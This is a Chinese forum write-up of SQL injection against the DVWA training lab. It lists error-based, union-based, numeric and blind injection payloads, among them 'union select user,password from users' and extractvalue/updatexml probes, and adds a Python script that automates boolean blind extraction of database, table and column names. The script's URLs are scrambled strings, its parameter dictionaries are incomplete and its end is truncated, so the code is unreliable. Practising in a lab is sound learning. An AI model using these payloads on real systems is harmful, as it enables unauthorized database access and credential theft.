sql注入 无防护 先尝试',有报错信息 再尝试' or 1=1 -- ,确定存在sql注入漏洞(用' or '1'='1闭合也可以,用--注释后面内容时记得加空格) 这里我们已经确定有两列输出了后,一般思路为数据库名--表名--列名--字段查列数也可以使用order by (union select 类似)' order by 1-- ,' order by 1,2-- 都是没有报错也没有信息返回的直到' order by 1,2,3--报错 (说明列数为当前的减1) 查数据库及版本 ' union select database(),version() ' (这个数据库是当前数据库) 查表名 ' union select table_name,null from information_schema.tables where table_schema='dvwa' -- (null为占位符) 查列名 ' union select column_name,2 from information_schema.columns where table_name='users'-- 查数据' union select user,password from users-- 有转义函数 mysqli_real_escape_string 但id并没有加上'',我们仍能通过数字型注入实现渗透如1 or 1=1 ,1 order by 2,1 union select user,password from users等等这里突然想到之前pikachu靶场中利用报错函数实现注入,这里尝试一下1 and extractvalue(1, concat(0x7e, database())) 1 and updatexml(1, concat(0x7e, version()), 1) 盲注先看看正确响应页面是什么 再看看错误时如何响应 尝试1' and '1'='1响应exists;尝试1' and '1'='2响应missing由此可以判断存在sql注入,同样的道理根据页面响应来判断我们所需的信息1' order by 2-- 响应exists;1' order by 2-- 响应missing 说明有两列接着判断数据库名长度--数据库名--表名长度--表名--列名长度--列名--字段内容1 and length(database()) = 1/2/3/4/.......1 and substr(database(), 1, 1) =a/b/c/d/.... 渗透脚本:import requests
import string
# 生成包含所有大小写字母和数字的列表
str_list=list(string.ascii_letters + string.digits+ "_")
name_tables=[]
name_columns=[]
url = "05dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8Y4k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6r3W2W2M7#2)9J5c8Y4y4I4L8r3W2Q4y4h3k6T1L8r3W2F1k6q4)9J5c8W2)9J5y4Y4q4#2L8%4c8Q4x3@1t1`.
headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0',
'Cookie': 'PHPSESSID=k35rb60d66m9pe8t3bnk90nto1; security=low',
# 'Referer': '4e4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8Y4k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6r3W2W2M7#2)9J5c8Y4y4I4L8r3W2Q4y4h3k6T1L8r3W2F1k6q4)9J5c8W2)9K6c8X3W2V1i4K6y4p5j5i4y4V1j5i4y4V1j5i4y4V1j5g2)9J5y4X3q4E0M7q4)9K6b7W2y4#2j5X3#2A6N6q4)9K6c8q4y4#2j5X3#2A6N6q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7
#数据库名称长度
for len_dbname in range(1,20):
params_dblength = {
'Submit':'submit'
response = requests.get( url,params=params_dblength, headers=headers)
if 'exists' in response.text:
print("当前数据库名长度为:",len_dbname)
break
#数据库名称
name_db=""
for i in range(1,len_dbname+1):
for a in str_list:
params_dbname = {
'Submit': 'submit'
response = requests.get( url,params=params_dbname, headers=headers)
if 'exists' in response.text:
name_db+=a
break
print("当前数据库名为:" ,name_db)
#表的数量
for num_table in range(1,20):
params_tablenum={
"Submit":"submit"
response = requests.get( url,params=params_tablenum, headers=headers)
if 'exists' in response.text:
break
#第x个表的表名长度
for x in range(1,num_table+1):
for len_tablename in range(1,20):
params_tablelen={
"Submit":"submit"
response = requests.get( url,params=params_tablelen, headers=headers)
if 'exists' in response.text:
...(已截断)
---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-290686.htm
[原创]dwva靶场-- sql注入
326 浏览
0 回复
暂无回复,快来抢沙发吧!